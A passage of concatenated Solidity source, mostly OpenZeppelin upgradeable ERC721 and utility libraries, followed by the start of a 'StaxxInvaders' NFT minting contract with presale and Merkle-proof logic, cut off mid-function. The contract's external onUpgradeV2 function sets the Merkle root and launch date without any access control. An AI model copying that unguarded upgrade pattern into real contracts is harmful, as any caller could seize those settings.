"Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Pausable.sol) pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "../../../security/PausableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721PausableUpgradeable is Initializable, ERC721Upgradeable, PausableUpgradeable { function __ERC721Pausable_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __Pausable_init_unchained(); __ERC721Pausable_init_unchained(); } function __ERC721Pausable_init_unchained() internal onlyInitializing { } /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProofUpgradeable { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"; library LibAppStorage { using StringsUpgradeable for uint256; using CountersUpgradeable for CountersUpgradeable.Counter; /// Total number of passes to sell. uint256 public constant TOTAL = 10500; bytes32 constant STORAGE_POSITION = keccak256("staxx.minting.storage"); struct Presale { uint16 free; uint16 paid; uint32[7] __padding; } struct AppStorage { CountersUpgradeable.Counter counter; // Timestamp of the public launch. uint40 publicLaunchDate; // The root hash of the merkle proof used to validate the presale list. bytes32 rootHash; // Keep track of the number of passes claimed from the access list to prevent double dipping. mapping(address => uint256) claimedByAddress; string baseUrl; bool v2UpgradeComplete; // Keep track of the number of passes claimed from the presale list to prevent double dipping. mapping(address => Presale) presaleByAddress; } function appStorage() internal pure returns (AppStorage storage ds) { bytes32 position = STORAGE_POSITION; assembly { ds.slot := position } } function abs(int256 x) internal pure returns (uint256) { return uint256(x >= 0 ? x : -x); } function min(uint256 x, uint256 y) internal pure returns (uint256) { return uint256(x < y ? x : y); } function clamp(int16 x) internal pure returns (uint16) { return uint16(x > 0 ? x : int16(0)); } function getTokenUri(uint256 tokenId) internal view returns (string memory) { return string(abi.encodePacked(appStorage().baseUrl, tokenId.toString(), ".json")); } function totalSupply(AppStorage storage s) internal view returns (uint256) { return s.counter.current(); } function nextTokenId(AppStorage storage s) internal returns (uint256) { s.counter.increment(); return totalSupply(s); } function ensureEnoughSupply(AppStorage storage s, uint40 count) internal view { require(totalSupply(s) + count <= TOTAL, "Not enough supply to mint"); } function ensureSaleLive(AppStorage storage s) internal view { require(block.timestamp >= s.publicLaunchDate, "Public sale has not started yet"); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import {LibAppStorage} from "./LibAppStorage.sol"; // _____ __ ____ __ // / ___// /_____ __ ___ __ / _/___ _ ______ _____/ /__ __________ // \__ \/ __/ __ `/ |/_/ |/_/ / // __ \ | / / __ `/ __ / _ \/ ___/ ___/ // ___/ / /_/ /_/ /> <_> < _/ // / / / |/ / /_/ / /_/ / __/ / (__ ) // /____/\__/\__,_/_/|_/_/|_| /___/_/ /_/|___/\__,_/\__,_/\___/_/ /____/ // // The minting contract for Staxx Invaders. // // The contract provides two paths for minting. // 1) through an access list (merkle proof) with a free reward allocation // 2) through the public sale // // The access list will go live before the public sale to give existing holders of STAXX a chance // to mint early. contract StaxxInvaders is Initializable, ERC721Upgradeable, ERC721PausableUpgradeable, OwnableUpgradeable { using MerkleProofUpgradeable for bytes32[]; using LibAppStorage for LibAppStorage.AppStorage; using StringsUpgradeable for uint256; /// The price each pass will sell for. uint256 public constant price = 0.03 ether; // The root hash of the merkle proof used to validate the minting order and image details. bytes32 public constant provenanceHash = 0xbc09e38d70d0b6508dd2d7bb5d8a491467f497122c35618eb87c0f5e6510e056; string public constant provenanceUri = "ipfs://QmWZsoopdqzuxka5npPE9oEwnDqSH7tFpUza5sPPA8QbNs"; /// Events. event PresaleClaimed(address sender, uint256 paid, uint256 free); event ContractInit(bytes32 hash, string name); event WithdrawBalance(address caller, uint256 amount); event ErrorHandled(string reason); struct Args { bytes32 rootHash; string uri; string name; string symbol; uint40 launchDate; } struct ArgsV2 { bytes32 rootHash; uint40 launchDate; } /// Initialisation function that serves as a constructor for the upgradeable contract. function onUpgradeV2(ArgsV2 memory args_) external { LibAppStorage.AppStorage storage s = LibAppStorage.appStorage(); if (!s.v2UpgradeComplete) { s.publicLaunchDate = args_.launchDate; s.rootHash = args_.rootHash; s.v2UpgradeComplete = true; } } /// Fallback to be able to receive ETH payments (just in case!) receive() external payable {} function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return 